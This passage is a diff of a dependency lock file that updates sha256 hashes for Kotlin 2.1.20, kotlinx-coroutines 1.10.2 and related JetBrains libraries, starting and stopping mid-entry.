-   "pom": "sha256-rVSg2nLxASl08e7sdp2EopMnzzfMrVUxt4cT/GD0tnY="
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.1.20": {
+   "jar": "sha256-EyGYEVmGCVkEsMsB76rh2BJJZB75FJ4Fs0T4ZKrpdfQ=",
+   "pom": "sha256-LZayVvD8kesSvOtuR2HhPXAf8TU/BZL8VymI2uai0Zs="
   },
-  "org/jetbrains/kotlin#kotlin-native-prebuilt/2.0.20": {
-   "pom": "sha256-xYoRfPul4AVC+QrYLytqsh4Z46Ifzvy0mLq5k69FDwY="
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-embeddable/2.1.20": {
+   "jar": "sha256-TRP+4Fu7RxlCw7Xt4PKKui4BGWDmQSZ0uCh7rYZuLfo=",
+   "pom": "sha256-xAVqvU8vDg7JUBdZ2H1aRLlQ5/IquAc+dG7OPrc2HII="
   },
-  "org/jetbrains/kotlin#kotlin-native-utils/2.0.20": {
-   "jar": "sha256-wWbyBR6R0ZnpYP/HsnZEhcFRDNF2dN17jOPC/NBqhys=",
-   "pom": "sha256-mISZMftwkWhS6qfCDm2Pr1IsUNd627r9k2T1JrfN7EI="
+  "org/jetbrains/kotlin#kotlin-native-utils/2.1.20": {
+   "jar": "sha256-pyVic6u53yI1kk2A/dNtZ4tFhGfDB2xmhRxCQ3vdPGY=",
+   "pom": "sha256-1Gec6AsERY5fzL1pteMUvxwMFnmH4EOVRv3+z7U+M0Y="
   },
   "org/jetbrains/kotlin#kotlin-reflect/1.6.10": {
    "jar": "sha256-MnesECrheq0QpVq+x1/1aWyNEJeQOWQ0tJbnUIeFQgM=",
    "pom": "sha256-V5BVJCdKAK4CiqzMJyg/a8WSWpNKBGwcxdBsjuTW1ak="
   },
-  "org/jetbrains/kotlin#kotlin-reflect/1.8.22": {
-   "jar": "sha256-ZVgl+mURIg/tDK5arU3+oqv5j9EPCud+uNr2q/zQ8Cc=",
-   "pom": "sha256-KeHqCKPTq0gtH9/UH76TRZEt9Gbbr6+0sS0YN8cr4yg="
+  "org/jetbrains/kotlin#kotlin-reflect/2.0.20": {
+   "jar": "sha256-GPRR5rS3vR0fnWCEnDy/Fg4RUwL5eiAIwZDVBcQ5xnA=",
+   "pom": "sha256-Y+Y4sFbdRJ5vUtcenCxdxdsNFkRDI5cOFtf8DWWDk9s="
   },
-  "org/jetbrains/kotlin#kotlin-reflect/1.9.22": {
-   "jar": "sha256-d/MRyhOEgR1Rn9o4n8sSaL2qBY1gUEbg7edsA7DfPpc=",
-   "pom": "sha256-xxLjWN97kxi2j1RjlxsIhnODf8DKQoXRw4LIEC7da18="
+  "org/jetbrains/kotlin#kotlin-reflect/2.1.20": {
+   "jar": "sha256-QZd48reoJrrW7iyh5L3r5jmrMG0pBPo+8qMI7PqrOBE=",
+   "pom": "sha256-XgIIh67A2JqcFo79ka7WKGVVOHf5MD8UXby50jumDcc="
   },
-  "org/jetbrains/kotlin#kotlin-script-runtime/2.0.20": {
-   "jar": "sha256-/pcAKmeY9yB1ZGSJGdbuzPszi5XcBLSIhthWZVvGSk4=",
-   "pom": "sha256-o6N2KcmFzt17+d12rGdJaz+ApZIoVB6WiAKg7obEuRQ="
+  "org/jetbrains/kotlin#kotlin-script-runtime/2.1.20": {
+   "jar": "sha256-rkOX+7OqKhraCSkOdTu6maQRRUiXfDEVUmuZWPTLGgQ=",
+   "pom": "sha256-D4O1qQFWxhpv8QlVey2YjicQ7j++n0pCV6bqDYdIw9Y="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-common/2.0.20": {
-   "jar": "sha256-XTdTOT5/7PHSG67l2314gyZ4K9v4qOxqKyzM97Ve5sY=",
-   "pom": "sha256-BesUmiCZ8ILJf1xFQ1HQuMphLFUwo6wyHSyMB12wEVU="
+  "org/jetbrains/kotlin#kotlin-scripting-common/2.1.20": {
+   "jar": "sha256-X9v2rnIjfOM11gPrEsSbCbycGjPAwB8dYud/8zZjzvs=",
+   "pom": "sha256-H3dwkEXdkF63UFqUKA037HV/CHCc/p86dKunO7+Z95s="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.0.20": {
-   "jar": "sha256-Ie8wOrS54Pnzl8FIliU6rkkCV7+w3VAInBwcBPAYcXE=",
-   "pom": "sha256-zr8swRmuHPJqP2tECxidwrruhS0nASU06qNqrNue4VI="
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.1.20": {
+   "jar": "sha256-PU93KyOEFGUAF+l0YiVrfE1e36EBPL9Ud1c+sawuKIQ=",
+   "pom": "sha256-D/9/8dO/qczj77tNs4mJwmilHrZ/ge/QMRuKZGGLhak="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.0.20": {
-   "jar": "sha256-WgaucwO1TL0XdYnWEFumv9WbGxgur7W2aHJf9ypf0y0=",
-   "pom": "sha256-z6al9YOJy3K0SRLTABoB9eqL+vx5mbr6BRGz7t/LYdI="
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.1.20": {
+   "jar": "sha256-9mXXCxoIN/86Dve+xPxdn+1n6nXkaX3hWOtR8epQHD8=",
+   "pom": "sha256-tjmuINh6gV4wTd0goOTEk34Ttfx6Qme14VwOWQIphmU="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-jvm/2.0.20": {
-   "jar": "sha256-sLtQD2MztLFsjraeo5TvaE8zRT+NNDEDSokHqfGNtvE=",
-   "pom": "sha256-m8uNHCOvcm21KpNrpbkXeyRoKSBYxT8Ckd5MwNpOzh4="
+  "org/jetbrains/kotlin#kotlin-scripting-jvm/2.1.20": {
+   "jar": "sha256-afRXrKuYNkwOtXjEl+DDypMLjPuCvndASdoEzeOAh/c=",
+   "pom": "sha256-PERTORE37EVcdL5Jb3HZpJhpbSVJvmT1mmBkfO7iVT0="
   },
-  "org/jetbrains/kotlin#kotlin-serialization-compiler-plugin-embeddable/2.0.20": {
-   "jar": "sha256-zI9QG2dslESLAWgNyvZ68cjFfOqEFQKnFuttEX+Xy4Y=",
-   "pom": "sha256-X74y6I+ly4WFjb1wpPZKWsJTSaTijzlQ3zJrMSRmUGY="
+  "org/jetbrains/kotlin#kotlin-serialization-compiler-plugin-embeddable/2.1.20": {
+   "jar": "sha256-5pZQZxDSxI0BfMiczB6kkQF5lXcJK3Ah/q2pX/Yv1X8=",
+   "pom": "sha256-Al1rBx59fPPsennw0/5He9Ydveir9ZbYn41DL3wBmCU="
   },
-  "org/jetbrains/kotlin#kotlin-serialization/2.0.20": {
-   "module": "sha256-rsyQ8DJ7IQJTYRNdyJQBDmHDVzVFBtLTP3pZeakRxGQ=",
-   "pom": "sha256-wYgmEN73pFKwREi8GVqr+D6CqMEcUSmFYUAbGyxfKCw="
+  "org/jetbrains/kotlin#kotlin-serialization/2.1.20": {
+   "module": "sha256-OMZPybedsk2Y415NutDvDjOxdsKXSTE8c7k6D5bCIgs=",
+   "pom": "sha256-Ffv0qiQBTCr6vmXjwzrY39LYocR8z5dsBbqKNqGou0I="
   },
-  "org/jetbrains/kotlin#kotlin-serialization/2.0.20/gradle85": {
-   "jar": "sha256-Jjd6xiKasd8/ojVJPYxWfkcLjYa2PolUSMwmbL/Ob1o="
+  "org/jetbrains/kotlin#kotlin-serialization/2.1.20/gradle85": {
+   "jar": "sha256-rNawwcN18ocop1LMbI0itREnbFT1DZcb7UM957K9qjI="
   },
   "org/jetbrains/kotlin#kotlin-stdlib-common/1.8.20": {
    "pom": "sha256-YFWRuJs3ISfmspxpMl+i9qjEb0aMRdCUEOeOtZ/IChc="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-common/1.8.22": {
-   "pom": "sha256-pysR3wi1Mi16Xo5iB4nuPkz+846GxDDn0RO/qeVMWB4="
-  },
-  "org/jetbrains/kotlin#kotlin-stdlib-common/1.9.22": {
-   "module": "sha256-+Tyemr+NUtjo/Y6FGqgC7OxVEyFhxK7ufTzZJL95QkY=",
-   "pom": "sha256-10k21oh1ZK63EOhCmLVCB/U+m88jpSrSv6IsIIZ3V2c="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib-common/2.0.20": {
    "module": "sha256-tZe3Be/U4tgnFCCQw2BUJlVI7VG09SN38r+JxFlNU28=",
    "pom": "sha256-o11/wINw+TE6S5U7zu7d2F4OHnLTEGLTe/jHeBs/b18="
   },
+  "org/jetbrains/kotlin#kotlin-stdlib-common/2.1.20": {
+   "module": "sha256-lNCtKyMZuFxANRz57nB32hLdOFA5LmzxCj/oFZ+8c/c=",
+   "pom": "sha256-1iLjAAVmBil0Qmj6iRKPt97U1C4XTOsIH2f3BWrJqLs="
+  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.8.20": {
    "jar": "sha256-rx7EDDuVGv3MDCoBc8e4F2PFKBwtW6+/CoVEokxdzAw=",
    "pom": "sha256-NiLRBleM3cwKnsIPjOgV9/Sf9UL2QCKNIUH8r4BhawY="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.8.22": {
-   "jar": "sha256-BV9cskKH+hBhAJlae0erkhJrgegy6HX1+izwvVVpPQs=",
-   "pom": "sha256-T5WKqZPVmE+PXr7UFGVipfOp9pW2BJyfKHOBN5ytqzM="
-  },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.9.0": {
-   "jar": "sha256-t5eaeqyUBV8Nnx/TtHzl/+HLYDKoQrqfvnGG8IUokXg=",
-   "pom": "sha256-wRB08MiYqYuGPGFEcdQ409+Soewzgqbjf5NdfXGVS1o="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.8.20": {
    "jar": "sha256-45i2eXdiJxi/GP+ZtznH2doGDzP7RYouJSAyIcFq8BA=",
    "pom": "sha256-OkYiFKM26ZVod2lTGx43sMgdjhDJlJzV6nrh14A6AjI="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.8.22": {
-   "jar": "sha256-QZiw6vCQpPJbb35aWVgfQxS6jJ9s0dE+6dNI5l7Y9wc=",
-   "pom": "sha256-ko8hhyF0djE8uBbUgHC8dlSqO5pa6B0/xfjCecyPjZ4="
-  },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.9.0": {
-   "jar": "sha256-pZ+iT98f+1lLrs2/D9EAEPl3zqECNtSH/jRkl3pzd/o=",
-   "pom": "sha256-ZNWY3YjiUEZnMeIDBKtvBsu7urfuMitHA7a1n4gcT5I="
-  },
-  "org/jetbrains/kotlin#kotlin-stdlib/1.9.22": {
-   "jar": "sha256-ar4UbCeGQTi4dMzM/l9TTj65I8maG3tdRUlO5WlPPgo=",
-   "module": "sha256-9IIxS1B5wUVfb7DUJXp0XRAcYSTOlhUiuob53JCQHkc=",
-   "pom": "sha256-zOLxUoXsgHijd0a1cwigVAQt1cwlQgxD9zt4V8JGjwM="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib/2.0.20": {
    "jar": "sha256-+xaVlmWaUYNXxLLBb0PcdascSYBWXtS0oxegUOXjkAY=",
    "module": "sha256-3AUdwExqGW8tBtDTya8zufErybT+E5rhKQFAUII2tns=",
    "pom": "sha256-Cu6WIJHn3QKIzDykz0qSjFYgcUYCEb+PQXkAkwbmGf4="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib/2.0.20/all": {
-   "jar": "sha256-UP+t6yC00kVqUmWVpPep6FiJaCcVBz5s26Gx2A461Fg="
+  "org/jetbrains/kotlin#kotlin-stdlib/2.1.20": {
+   "jar": "sha256-G8x06M6E4sJeqv3hDxJINJzOMGK242l4y+7GENsekwo=",
+   "module": "sha256-VdKW5FRF9siGmbCJZwbqlVCvh62Uhz3BO2W+u9VmCm8=",
+   "pom": "sha256-Z1DheZ7lAgd9rlw9WZeW9mdgb2DTXpXLeQRI3HkStAs="
   },
-  "org/jetbrains/kotlin#kotlin-test-junit/2.0.20": {
-   "jar": "sha256-ryZqI26bENE7D71MjJZizVs51mibQcnYLK2oaCLANcU=",
-   "module": "sha256-Q0jdPuxQxh/4DPBSBq0s8CErIjDySJ5QuOuf971YWQg=",
-   "pom": "sha256-0i0KJ5solDxw26YYkhvIc0QQqsTYl1q5xzfD+eG9qIk="
+  "org/jetbrains/kotlin#kotlin-stdlib/2.1.20/all": {
+   "jar": "sha256-geB9406Esp4U8/3vkC9LxM8dXalZuGffaD++HMVM4eE="
   },
-  "org/jetbrains/kotlin#kotlin-test/2.0.20": {
-   "jar": "sha256-oVbXu3S7hHABkQ2s++5JyXF/jrZwxBQ3qSdoezN6Bf8=",
-   "module": "sha256-0wJTt8l9i4KWVQUITlTJ1qP2NWe4/G7H73kPR/gREcw=",
-   "pom": "sha256-yCDFnJRFdVYiqsuhkTg5lhSdfM3mBiMWLfHGnCxG+yE="
+  "org/jetbrains/kotlin#kotlin-test-junit/2.1.20": {
+   "jar": "sha256-/JyFRHUR3oPiEPfenSA67HLvRT9yXETXvP/H6Qed+tw=",
+   "module": "sha256-NnictkXfB/pR3tuXVy871W//MsXrk8oI1dgx1upBqBo=",
+   "pom": "sha256-WYfnDG7E65vAb8Ao8saDKTteNgH5YjtwfuX2YbqrsGw="
   },
-  "org/jetbrains/kotlin#kotlin-test/2.0.20/all": {
-   "jar": "sha256-2iho+pWj+4814rTjMcouKTIUhnAZZex2a66CD5jgJ3w="
+  "org/jetbrains/kotlin#kotlin-test/2.1.20": {
+   "jar": "sha256-ACi1x0GRGEUZ9g5yfFqk5dfjrAT8C+1Vn0nTcWXeyWE=",
+   "module": "sha256-3M5BCYnVErxDug/4sgYkU0DJ86An36Fl9y6BQy3ssVY=",
+   "pom": "sha256-2SCpd6AcRqNwv3Npji1BcJE8afDeRoXURWTtUW9BtMo="
   },
-  "org/jetbrains/kotlin#kotlin-tooling-core/2.0.20": {
-   "jar": "sha256-W28UhUj+ngdN9R9CJTREM78DdaxbOf/NPXvX1/YC1ik=",
-   "pom": "sha256-XhIxEeAQewRmSIOgpAjB/zvbXQR+SQH4L0xC8QV4Bi0="
+  "org/jetbrains/kotlin#kotlin-test/2.1.20/all": {
+   "jar": "sha256-07fPliK3To6kwNNvS9X/nR0xsy/jUORuCCBHxb48alc="
   },
-  "org/jetbrains/kotlin#kotlin-util-io/2.0.20": {
-   "jar": "sha256-ZGTbjUFywhoXp5C20XiQIu1nrbN8UL5ri59YK1UrhSI=",
-   "pom": "sha256-LrBxVfqEF46ZVjnOe3aRcofK5UKjXSm1a7CZEB0oajw="
+  "org/jetbrains/kotlin#kotlin-tooling-core/2.1.20": {
+   "jar": "sha256-tPu1I+hmLUqEUbmjap5/1D9jfLDNapueNoFxlmXavY0=",
+   "pom": "sha256-PO8cS3yC7KjMAcMMrt0VSQWeZfL51BYsjJ13+6JBMXY="
   },
-  "org/jetbrains/kotlin#kotlin-util-klib/2.0.20": {
-   "jar": "sha256-h92Djcd3gsuVZ/GnYUmbPkpQ9SjABbJjii4+V0EKljs=",
-   "pom": "sha256-fbTRw72mdZvifuk35gfoscRpWNwIR3Ey/a7t4BbnOP8="
+  "org/jetbrains/kotlin#kotlin-util-io/2.1.20": {
+   "jar": "sha256-gqOymmEdR85jSuLmxQnN4qhvlLI7hr4whk6z1Lj+jn4=",
+   "pom": "sha256-eSQnftICC4UQ1F8N0QgREmVoEDAH2D+ZcfwYRmC9hKM="
   },
-  "org/jetbrains/kotlin/jvm#org.jetbrains.kotlin.jvm.gradle.plugin/2.0.20": {
-   "pom": "sha256-JyOoqUP6SkTTcD8VTEW31UcMcZ1OYKvz4ixzt3s4i5M="
+  "org/jetbrains/kotlin#kotlin-util-klib-metadata/2.1.20": {
+   "jar": "sha256-8tXmhHFbkgtghJaObDPIuwWwtrl5GYAOLyIdlBgkDH0=",
+   "pom": "sha256-hCdVuVwx20vbks9tQshUGhcB+ivc8lIahwa8sDKgoZc="
   },
-  "org/jetbrains/kotlin/kotlin-native-prebuilt/2.0.20/kotlin-native-prebuilt-2.0.20-linux-x86_64": {
-   "tar.gz": "sha256-soKRi19RWLL41bU94ICTpyIG/CO5E4Lh3dJjDHIChCc="
+  "org/jetbrains/kotlin#kotlin-util-klib/2.1.20": {
+   "jar": "sha256-/3nFsObkLZIOuxx2uhDMLdvyJOgFZFqO6sreSRbiqs4=",
+   "pom": "sha256-ps3TjXdd/QfQe9FZ00LPegqWg4qH50guIgxjrtluEoA="
   },
-  "org/jetbrains/kotlin/plugin/serialization#org.jetbrains.kotlin.plugin.serialization.gradle.plugin/2.0.20": {
-   "pom": "sha256-0s2V9THwNRgW+fg0bsbWB2xxyt9jLz6PZX3dft+RukE="
+  "org/jetbrains/kotlin/jvm#org.jetbrains.kotlin.jvm.gradle.plugin/2.1.20": {
+   "pom": "sha256-q8TDh14/l1U6F2qQ9ReI7A9ero4dJkI+qOvb+KpqF4Y="
   },
-  "org/jetbrains/kotlinx#atomicfu/0.19.0": {
-   "module": "sha256-lDjpxD+24dVMUZvO8MaTmJTn9hrzIAXXu0Krp28tpX8=",
-   "pom": "sha256-FXTQlXamSA++51jvCiRwcRV3UUdcVmh60eHSwO6YQ6E="
-  },
-  "org/jetbrains/kotlinx#atomicfu/0.20.2": {
-   "module": "sha256-LJleDoPFg+ElcG+6P+hRcAINF6iPidYpSlPNi9fEw4Q=",
-   "pom": "sha256-fZSYii/6cay7jKEEhQ/sG+Je8YCeOlEPAOvUo8C1vPc="
-  },
-  "org/jetbrains/kotlinx#atomicfu/0.20.2/all": {
-   "jar": "sha256-KpHxC4JtP+vEfCtmTiaGFXV8MREUI5eH9dw3SB/exEE="
+  "org/jetbrains/kotlin/plugin/serialization#org.jetbrains.kotlin.plugin.serialization.gradle.plugin/2.1.20": {
+   "pom": "sha256-YjXePQABYjdcj3IvCO2hU/CQ4RoDW0qbi+fqxO8UX+Y="
   },
   "org/jetbrains/kotlinx#atomicfu/0.23.1": {
    "jar": "sha256-fbhmDr5LkbtHjts2FsTjpQulnAfcpRfR4ShMA/6GrFc=",
    "module": "sha256-Pokf5ja1UQgZIQD884saObzRwlM+I8Ri/AdkTur8sg8=",
    "pom": "sha256-aIt5ABn0F87APmldZWexc7o7skGJVBZi8U/2ZEG1Pas="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.6.4": {
-   "pom": "sha256-qyYUhV+6ZqqKQlFNvj1aiEMV/+HtY/WTLnEKgAYkXOE="
-  },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.7.1": {
-   "pom": "sha256-uSWqmIxApceqDHeyE3P+sYw5QUkmvVHHbvRENPW66cI="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.10.2": {
+   "pom": "sha256-+vDGU45T3cBJmmNmTY52PCFlgLLhjnIsy98bQxpq/iY="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.7.3": {
    "pom": "sha256-Tl0ZAOY3nvP1lw0EqPMFKa3IL4WejMEHwhzoFJ72ZsQ="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.8.1": {
-   "pom": "sha256-Vj5Kop+o/gmm4XRtCltRMI98fe3EaNxaDKgQpIWHcDA="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.8.0": {
+   "pom": "sha256-Ejnp2+E5fNWXE0KVayURvDrOe2QYQuQ3KgiNz6i5rVU="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.6.4": {
-   "jar": "sha256-wkyLsnuzIMSpOHFQGn5eDGFgdjiQexl672dVE9TIIL4=",
-   "module": "sha256-DZTIpBSD58Jwfr1pPhsTV6hBUpmM6FVQ67xUykMho6c=",
-   "pom": "sha256-Cdlg+FkikDwuUuEmsX6fpQILQlxGnsYZRLPAGDVUciQ="
-  },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.7.1": {
-   "jar": "sha256-dJbP/dPrEBCazdocMhL2rHgVeJ4JOA3J4szexJbbo/w=",
-   "module": "sha256-2x/gEQ+oK1ZdMy050/PmLB3H62I4Mz47FeQ3f6VuOcs=",
-   "pom": "sha256-hcGdsQ28RIoEZjzftHgkPtoKjWsSfxCPGZVbFtSJs10="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.10.2": {
+   "jar": "sha256-XKF1s43zMf1kFVs1zYyuElH6nuNpcJs21C4KKIzM4/0=",
+   "module": "sha256-6eSnS02/4PXr7tiNSfNUbD7DCJQZsg5SUEAxNcLGTFM=",
+   "pom": "sha256-ZY9Xa5bIMuc4JAatsZfWTY4ul94Q6W36NwDez6KmDe8="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.7.3": {
    "jar": "sha256-GrOsw48+c1XE+dHsYhB6RvpzyJnzBw0FXl1Dc9/mfhI=",
    "module": "sha256-NNbumbdqwGK1FVW0pwvhg0n+VWbaeaGQYU8XHIC2U44=",
    "pom": "sha256-dThYdT3su7I5c0PiuHHwYvaXgS6UIuQcnuRqZrk+7jA="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.8.1": {
-   "jar": "sha256-89T13hw5G7zCDzs0Ncy6wBNSHna2kC19WWNewVwfeX4=",
-   "module": "sha256-CbgcnRHC3uvxM62HtweSfB8ECZy2Ee8AjHcls+swgyk=",
-   "pom": "sha256-R8alCxQVHo+vfzUKlSNcN9EqvDi/sFW2aJdCkxctryw="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.8.0": {
+   "jar": "sha256-mGCQahk3SQv187BtLw4Q70UeZblbJp8i2vaKPR9QZcU=",
+   "module": "sha256-/2oi2kAECTh1HbCuIRd+dlF9vxJqdnlvVCZye/dsEig=",
+   "pom": "sha256-pWM6vVNGfOuRYi2B8umCCAh3FF4LduG3V4hxVDSIXQs="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.7.1": {
-   "module": "sha256-qcwMK+48b8S6jQ51Oj8+cOGB2l3zolie5U6SgHszrM8=",
-   "pom": "sha256-BGsBD8eg5D0r/HOp3nZ13lVBAGy86WFjEhdGA01p1yM="
-  },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.7.1/all": {
-   "jar": "sha256-t9U3DtDlSVIAOxNZWme5fO0/hz2Rn13fvlD81JnL8Kc="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.10.2": {
+   "jar": "sha256-MZtlMAnUnHCYL5jfKcyE/HAlsJLLBXHI51MuOtQ2ba4=",
+   "module": "sha256-j+JUF35xGnzRijwG2CQvzpRfQcLMoT3BmzOuQqVDUBY=",
+   "pom": "sha256-UZ2lQACW80YqTa6AeDrQUEE9S8gex65T+udq7wzL7Uw="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.7.3": {
    "module": "sha256-f7FiOWWU7CjhtqRBG0V5SadnD14SAZF2d04f1rlHG78=",
    "pom": "sha256-7W6wOYcXA14p8cHWCk4927iYWPPbnge1etdZ03Ta6Ck="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.8.1": {
-   "jar": "sha256-2vUPHJQEsiSh1t1Shvjo7n1j/oB/eOqY9xeVwYO2Al8=",
-   "module": "sha256-CMuvMyW1Tg+O+NqF5OtZb32Ub4Q+XRYAOFRj8yaKTvA=",
-   "pom": "sha256-+IkY2/qHh8TRcasCVToUrR3viqmwxcLCDMmUVdMkHiI="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.8.0": {
+   "module": "sha256-FE7s1TZd4+MNe0YibAWAUeOZVbXBieMfpMfP+5nWILo=",
+   "pom": "sha256-yglaS/iLR0+trOgzLBCXC3nLgBu/XfBHo5Ov4Ql28yE="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-debug/1.7.1": {
-   "jar": "sha256-UzPLuaF/1FZC8/Bf8SQAbNZ0NUlBPC9To1z5rNEUHpE=",
-   "module": "sha256-AeRqdLiVP/LovNqfCNdLjBcI6VxaDYcKdIACA288LQA=",
-   "pom": "sha256-MjPHSkqNioWksCh/aWIKSSMmq9iIfT6AxhzApQTHcls="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-debug/1.10.2": {
+   "jar": "sha256-3HZK9XY8o/101yZpJFmjzSX4oPcPpsceV/65yX4djuk=",
+   "module": "sha256-XyuY3zJHW1OzsphxzhvqN3zt20vkezy05w3hrOmDocE=",
+   "pom": "sha256-CZTCJxRGRYsuwrSYCH2DQqyj0KRB/wXiId8EM/ZZpFc="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-debug/1.8.1": {
-   "jar": "sha256-JFUwMZoX18m8ShFSb0LpV1Dkqz/IZMlA2evo9UjqGHA=",
-   "module": "sha256-CA+LzOocTvqCk+0p/5z3xKfR0s3ekBzIZKz3Ly6AdXI=",
-   "pom": "sha256-x9+Ci/O0+ofumYH7ATaN1NwHmV0XzLqPpmEhcTwF69Q="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-slf4j/1.10.2": {
+   "jar": "sha256-1l3uPK+m97+u/ttJP8aLXGOr51BzT7ivkvrHoNMQFFc=",
+   "module": "sha256-B7xJACLGWAQpQfUrFxwPXOBkvWxjUikEMDmS5BegRbs=",
+   "pom": "sha256-xHdj+siNuwlDhJ0W4RucBdReYDhMfNExBe5xD7TdX7M="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-jdk8/1.7.1": {
-   "jar": "sha256-uW9xRbpptI9JQFNMuOGcfhWcRUQ+J8NoIWJhSLoXEPI=",
-   "module": "sha256-sJV+aTzxwefUrWJGqm4weV2/S/t1jB5LMv25wkQJuXM=",
-   "pom": "sha256-x3kWU2lOpaVLnN1HCAgtv7i9apeKX0IYSxFBz7SjDnU="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-test-jvm/1.10.2": {
+   "jar": "sha256-WQpUn4wdtZDJ2YqKIEJKH1gaNBYqNp5qa9iEzn0209c=",
+   "module": "sha256-VrIIF8xRrYi9tZwBIWsJiXzU+mmNUXu0d9kqlyp6Gq8=",
+   "pom": "sha256-Y96yqGiry+JIjrzrqnXnMbLvIQQQO4FzjnY3/JolpfM="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-jdk8/1.8.1": {
-   "jar": "sha256-2M+0w2PJHHczU7EVvUprWgRgjnkW/iNdOp2H78uZbAE=",
-   "module": "sha256-Ifl7EL6TJkGBfTULclRP+LoyQYf/uREMbo2IESdv2TM=",
-   "pom": "sha256-3uCuamO2M1ETIAqW2eHHgJ32DQ1CS7/xy7tTsxQWWvk="
-  },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-slf4j/1.7.1": {
-   "jar": "sha256-+7QMp+VaeAF/6siXGAvmT1YqLreBxqP2ybsv+I2SIj8=",
-   "module": "sha256-I8EQcq7URvsrZsj57aP4mWbe09mP9bnfCg3LeTwBX/o=",
-   "pom": "sha256-HEWyu0XLYIIjT06yJj46XBxzQ4Rm6NUlr2gZCxbIklM="
-  },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-slf4j/1.8.1": {
-   "jar": "sha256-cuELwT27MkpWx0R2xIzu4HsHbbWY+SYBe+djkrnn+zo=",
-   "module": "sha256-X8jvr3vGkS1yLchCQBoTMMvwcUSlkXvIvulJX8tqmhE=",
-   "pom": "sha256-RJqCH80/zFLz1YP4kANiu1j/yHOXN8zIYoxCRLCgq88="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-test/1.10.2": {
+   "jar": "sha256-+tvgT72noncodw2OrsvewKmwspaTwgy+p3ZV14PYvXg=",
+   "module": "sha256-QiByzuO2n2jVsVA7tmUb54lGsEw5KEocwCbM6L3x+AY=",
+   "pom": "sha256-vyXI3w7J8+rHu+5Tm2AbYBm36Z9fPzAR4ugXixQHUNs="
   },
   "org/jetbrains/kotlinx#kotlinx-html-jvm/0.9.1": {
    "jar": "sha256-to85zZrXtG3goOd+f1kI1OdmHz0MhdLZFxVD/NWxVvs=",
    "module": "sha256-yic/19Bs3g8yr4MjBwCr2bD1c7mErohHzpDj3F0NE1M=",
    "pom": "sha256-CwfOpOggKjkGxUbxfi5akjR2rKhZ01TnnocfKehL0pc="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.5.1": {
-   "pom": "sha256-iLPXUHk1rZMqoao9sVF0NJ12iDoGzCwkthnZm4qwewI="
+  "org/jetbrains/kotlinx#kotlinx-io-bytestring-jvm/0.7.0": {
+   "jar": "sha256-6jimaw/0btgt3tnoHS3OcOX74DvWzFK0/IhpOB3qe30=",
+   "module": "sha256-D852CxW6wLkL7xvZDJfi0V+sQ6ZtwSCbSq7Jadk0Nv8=",
+   "pom": "sha256-mhfWfOIxynIhqWkS1WVtjRZ1gJ5FI/LDmupvs+o6bV8="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.5.1": {
-   "jar": "sha256-pAU6NavrWb9wfXlIJFVW/o3DeenP7QiK7AgTTImWBdQ=",
-   "module": "sha256-9f9aY8GLCdhaN5Lm/tcooq07pyL4GhFxj8QWDflXrEU=",
-   "pom": "sha256-XQ3dpcR3TtUVQkMzNKluNs8hd5h3eAjCpY1/CLHUKOQ="
+  "org/jetbrains/kotlinx#kotlinx-io-bytestring/0.6.0": {
+   "module": "sha256-aO+bxmrpVPRzxZ9R679Ywdewb9b/9zNd0/s9JPipOQA=",
+   "pom": "sha256-I1NofPyzbJCaW8T08LUj0wv2WuXI34CsxW6enFJb528="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.5.1": {
-   "module": "sha256-9V/lzh319wlKmo0QNrj3bOdQvImRd0Fg2lZ4TqXlhxs=",
-   "pom": "sha256-u3XOgDi/QxBDf37XEbn1DFA2/URJyD6PS82RCgvUsxU="
+  "org/jetbrains/kotlinx#kotlinx-io-bytestring/0.7.0": {
